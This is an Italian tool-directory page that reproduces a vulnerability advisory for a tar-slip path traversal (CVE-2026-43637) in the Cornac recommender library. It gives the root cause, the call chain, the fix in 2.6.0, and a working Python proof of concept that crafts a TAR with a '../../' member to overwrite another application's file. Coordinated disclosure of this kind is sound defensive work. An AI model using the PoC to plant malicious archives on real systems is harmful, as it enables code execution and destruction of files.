Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-43637-cornac — Path traversal (Tar Slip) in Cornac tramite _extract_archive (CVE-2026-43637) | Kitploit
Strumenti/GitHubGitHub/rahulreddykarne/cve-2026-43637-cornac
Analisi delle VulnerabilitàExploitSicurezza della Supply ChainApprendimento e FormazioneRed Teaming
GitHubrahulreddykarne/cve-2026-43637-cornac

CVE-2026-43637-cornac

Path traversal (Tar Slip) in Cornac tramite _extract_archive (CVE-2026-43637)

Vedi Repository
31 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-43637: Path Traversal (Tar Slip) in Cornac tramite _extract_archive

Gravità: Alta, CVSS 4.0 8.8, Critica, CVSS 3.1 9.1(assegnato da VulnCheck, il CNA)

Vettore (v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N

Vettore (v4.0): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Versioni interessate: cornac < 2.6.0

Corretta in: 2.6.0

CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory, 'Path Traversal')

Segnalata da: Rahul Karne e Bharath Kumar Reddy Janumpally

CNA: VulnCheck

Pubblicata: 15 luglio 2026


Riepilogo

I loader di dataset di Cornac scaricano e decompongono automaticamente gli archivi, e il decompressore si fidava di ogni percorso all'interno dell'archivio.

Cornac è un framework di machine learning per sistemi di raccomandazione. I suoi loader di dataset integrati recuperano gli archivi dalla rete e li estraggono senza alcuna fase di conferma. La routine di estrazione _extract_archive() in cornac/utils/download.py chiama archive.extractall() senza alcuna validazione dei percorsi dei membri. Un archivio TAR i cui membri contengono sequenze ../, percorsi assoluti o voci di symlink e hardlink scrive pertanto file in posizioni arbitrarie del filesystem, ovunque il processo in esecuzione abbia diritti di scrittura, completamente al di fuori della directory di cache prevista. Diversi loader scaricano tramite HTTP in chiaro, quindi un attaccante in posizione di rete può sostituire un archivio malevolo durante il trasferimento e farlo estrarre nel momento stesso in cui viene chiamato un loader.

Impatto

Scrittura arbitraria di file con percorso e contenuto completamente controllati dall'attaccante, limitata solo dai permessi del processo che esegue Cornac. Si tratta di una primitiva di scrittura, non di lettura, quindi non c'è divulgazione diretta di dati, ma la scrittura arbitraria di file è una via ben consolidata verso l'esecuzione di codice e il denial of service:

  • Esecuzione di codice. Sovrascrivere un file .py in site-packages, un file di avvio della shell o una voce di attività pianificata fa sì che il codice dell'attaccante venga eseguito alla successiva importazione, all'avvio della shell o all'esecuzione dell'attività.
  • Denial of service. Sovrascrivere i moduli o la configurazione dell'applicazione stessa li sostituisce con contenuti dell'attaccante. Nel PoC verificato, un modulo target viene sostituito con uno che solleva un'eccezione all'importazione e l'applicazione non riesce più ad avviarsi. L'effetto è permanente finché il file non viene ripristinato; non è un crash transitorio.
  • Manomissione della configurazione. Sostituire un file di configurazione può reindirizzare una connessione al database, disabilitare un controllo di autenticazione o iniettare impostazioni.

Chi è interessato: Qualsiasi utilizzo di cornac < 2.6.0 che richiami un loader di dataset che scarica ed estrae un archivio che l'attaccante può controllare o intercettare. Poiché i loader estraggono automaticamente, non è richiesto alcun passaggio oltre alla normale chiamata del loader.

Chi non è interessato:

  • Chiunque utilizzi 2.6.0 o versioni successive, dove l'estrazione valida ogni percorso dei membri.
  • Codice che non richiama mai un loader di dataset che scarica, o che estrae solo archivi da una fonte completamente attendibile e con integrità verificata tramite un canale affidabile.
  • Nello specifico, gli input ZIP non sono sfruttabili tramite questo percorso (vedi la nota in Dettagli tecnici); il percorso TAR è quello sfruttabile.

Diffusione

MetricaValoreFonte
Download, complessivi4.1Mpepy.tech/projects/cornac
Download, ultimi 30 giorni67.8Kpepy.tech
Utilizzo tipicoRicerca e didattica sui sistemi di raccomandazione; i loader di dataset scaricano automaticamente dalla rete, alcuni tramite HTTP in chiaroinsito nel framework

Dettagli tecnici

Causa principale

_extract_archive() in cornac/utils/download.py estrae sia input ZIP che TAR tramite un unico percorso di codice e, nel caso TAR, chiama extractall() senza alcun controllo dei percorsi:

root@kitploit:~
# cornac/utils/download.py — _extract_archive(), lines 50-71 (v2.3.5)
def _extract_archive(file_path, extract_path="."):
    """Extracts an archive."""
    for archive_type in ["zip", "tar"]:
        if archive_type == "zip":
            open_fn = zipfile.ZipFile
            is_match_fn = zipfile.is_zipfile
        elif archive_type == "tar":
            open_fn = tarfile.open
            is_match_fn = tarfile.is_tarfile

        if is_match_fn(file_path):
            with open_fn(file_path) as archive:
                try:
                    archive.extractall(extract_path)   # <-- no member-path validation
                except (tarfile.TarError, RuntimeError, KeyboardInterrupt):
                    if os.path.exists(extract_path):
                        if os.path.isfile(extract_path):
                            os.remove(extract_path)
                        else:
                            shutil.rmtree(extract_path)
                    raise

Nulla vincola i nomi dei membri, quindi un membro chiamato ../../somewhere/file viene risolto al di fuori di extract_path e lì scritto.

La catena di chiamate è completamente automatica a partire da una chiamata del loader:

root@kitploit:~
cornac.datasets.<name>.load_feedback()
    -> cornac.utils.download.cache()            # downloads via urllib.request.urlretrieve
        -> cornac.utils.download._extract_archive()
            -> tarfile.extractall()             # writes attacker-named paths

Perché proprio il percorso TAR

Lo zipfile di Python neutralizza le sequenze ../ durante l'estrazione, quindi il ramo ZIP di questa stessa funzione non è sfruttabile su Python moderno. Il tarfile di Python non neutralizza i percorsi dei membri (prima della 3.12, e successivamente solo con un filtro esplicito). Poiché Cornac fa passare entrambi i formati attraverso la stessa identica chiamata extractall(), il ramo ZIP è sicuro e il ramo TAR è completamente sfruttabile attraverso le stesse righe. L'asimmetria è facile da trascurare proprio perché il codice appare uniforme tra i due formati.

Consegna tramite rete

Cornac scarica con urllib.request.urlretrieve(), senza certificate pinning e senza controllo di integrità dell'archivio, e diversi loader integrati utilizzano URL http://. Un attaccante in posizione di rete può intercettare il download in HTTP in chiaro e restituire un TAR malevolo senza compromettere il server a monte; è per questo che il vettore è remoto e non richiede alcuna interazione dell'utente oltre alla chiamata del loader.

Precondizioni per lo sfruttamento

Un attaccante ha bisogno di:

  1. Un target che utilizzi cornac < 2.6.0.
  2. Che il target richiami un loader di dataset che scarichi ed estragga un archivio.
  3. Il controllo sul contenuto dell'archivio, gestendo il server a monte da cui il loader scarica o intercettando un download in HTTP in chiaro durante il trasferimento.

Non sono richiesti privilegi sul target né interazione dell'utente oltre alla chiamata del loader.

Prova di concetto

Quanto segue è stato eseguito sul pacchetto reale e non modificato chiamando direttamente _extract_archive di Cornac.

Versione vulnerabile (2.3.5). Un TAR contenente un membro ../../ viene estratto in una directory di cache; il membro finisce al di fuori di tale directory e sovrascrive un file appartenente a un'applicazione separata:

root@kitploit:~
import cornac.utils.download as d
import io, os, tarfile, tempfile

base   = tempfile.mkdtemp()
cache  = os.path.join(base, "cornac_scope", "cache"); os.makedirs(cache)
victim = os.path.join(base, "victim_scope", "webapp"); os.makedirs(victim)
open(os.path.join(victim, "app.py"), "w").write("def run():\n    return 'healthy'\n")

mal = os.path.join(base, "malicious.tar.gz")
payload = b"raise ImportError('victim destroyed by tar slip')\n"
with tarfile.open(mal, "w:gz") as tf:
    ti = tarfile.TarInfo("../../victim_scope/webapp/app.py"); ti.size = len(payload)
    tf.addfile(ti, io.BytesIO(payload))

d._extract_archive(mal, cache)      # Cornac's real function, cache dir as target

Risultato verificato:

root@kitploit:~
victim app.py BEFORE : def run():  return 'healthy'
victim app.py AFTER  : raise ImportError('victim destroyed by tar slip')

benign file landed inside cache scope : True
victim file OVERWRITTEN outside cache : True

Il membro benigno ha scritto all'interno della cache come previsto; il membro ../../ ha scritto nella directory dell'applicazione separata e l'importazione di quell'applicazione ora fallisce.

Dimostrazione completa dell'attacco. poc_exploit.py in questo repository esegue l'intera catena end-to-end: un server HTTP dell'attaccante consegna il TAR malevolo, un loader che replica la catena di chiamate cache() più _extract_archive() di Cornac lo scarica ed estrae automaticamente a partire da una singola chiamata load_feedback(), e due file vengono sovrascritti nella directory di un'applicazione separata. La _extract_archive() vulnerabile è ripresa testualmente dal sorgente di Cornac.

Versione corretta (2.6.0). Lo stesso archivio di traversal viene rifiutato prima che venga scritto qualsiasi cosa:

root@kitploit:~
ValueError: Blocked path traversal attempt in archive: ../victim/app.py
victim app.py after: def run():  return 'healthy'   (unchanged)

Guarda la demo

Rimedio

Aggiorna a cornac 2.6.0 o versioni successive:

root@kitploit:~
pip install --upgrade "cornac>=2.6.0"

2.6.0 sostituisce la extractall() senza protezioni con un helper _safe_extract() che risolve ogni percorso dei membri tramite os.path.realpath e rifiuta qualsiasi destinazione che non rimanga all'interno della directory di estrazione, consentendo solo file regolari e directory e bloccando le voci di symlink, hardlink e dispositivi.

Se non puoi aggiornare immediatamente: non chiamare loader di dataset che scaricano da canali non affidabili o in HTTP in chiaro e non estrarre archivi TAR da fonti che non controlli. Il download tramite HTTPS riduce il rischio di intercettazione durante il trasferimento, ma non elimina il rischio derivante da un server a monte malevolo o compromesso.

Sul punteggio CVSS

VulnCheck (il CNA) ha assegnato 8.8 (Alto) secondo CVSS 4.0 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N).

  • AV:N: l'archivio malevolo viene consegnato tramite la rete e diversi loader scaricano in HTTP in chiaro senza controllo di integrità.
  • AC:L: creare un TAR di traversal è banale e l'attacco funziona in modo deterministico a ogni invocazione.
  • PR:N: l'attaccante non necessita di alcun account né di un punto d'appoggio sul target.
  • UI:N: il loader scarica ed estrae automaticamente; una singola chiamata del loader innesca l'intera catena senza alcuna fase di conferma.
  • VC:N: la primitiva è solo di scrittura, quindi non viene dichiarato alcun impatto sulla riservatezza.
  • VI:H / VA:H: l'attaccante controlla completamente il contenuto scritto e può distruggere i file su cui il processo ha diritti di scrittura, quindi l'integrità e la disponibilità del sistema interessato sono elevate.
  • SC:N / SI:N / SA:N: il CNA ha valutato l'impatto come limitato all'autorità del sistema vulnerabile, piuttosto che a un sistema successivo distinto.

L'8.8 assegnato dal CNA è il valore autorevole per questa vulnerabilità.

Cronologia della divulgazione

DataEvento
3 maggio 2026Vulnerabilità identificata
4 maggio 2026Segnalata (divulgazione coordinata)
14 luglio 2026Correzione integrata (PR #709, commit 8a50be7)
15 luglio 2026Rilasciata la versione corretta 2.6.0
15 luglio 2026CVE-2026-43637 pubblicata da VulnCheck

Crediti

Scoperta e segnalata da Rahul Karne (ricercatore di sicurezza e IEEE Senior Member) e Bharath Kumar Reddy Janumpally, coordinata tramite VulnCheck. Le divulgazioni correlate di Rahul includono CVE-2026-65321 (SQL injection in PyAthena) e CVE-2026-63720 (code injection in datamodel-code-generator).

Contatto: [email protected] · GitHub: rahulreddykarne

Riferimenti

  • NVD (CVE-2026-43637): https://nvd.nist.gov/vuln/detail/CVE-2026-43637
  • Scheda CVE: https://www.cve.org/CVERecord?id=CVE-2026-43637
  • Avviso VulnCheck: https://www.vulncheck.com/advisories/cornac-path-traversal-via-extract-archive-in-download-py
  • Pull request di correzione #709: https://github.com/PreferredAI/cornac/pull/709
  • Commit della patch 8a50be7: https://github.com/PreferredAI/cornac/commit/8a50be72c11569b6747c6b96d6e31a0a1962f1a8
  • Note di rilascio v2.6.0: https://github.com/PreferredAI/cornac/releases/tag/v2.6.0
  • Repository del progetto: https://github.com/PreferredAI/cornac
  • Statistiche di download: https://pepy.tech/projects/cornac

Stampa

Richieste dei media: [email protected]. PoC completo (server dell'attaccante, archivio di traversal, applicazione vittima) e ulteriori dettagli tecnici disponibili su richiesta.

Scarica lo strumento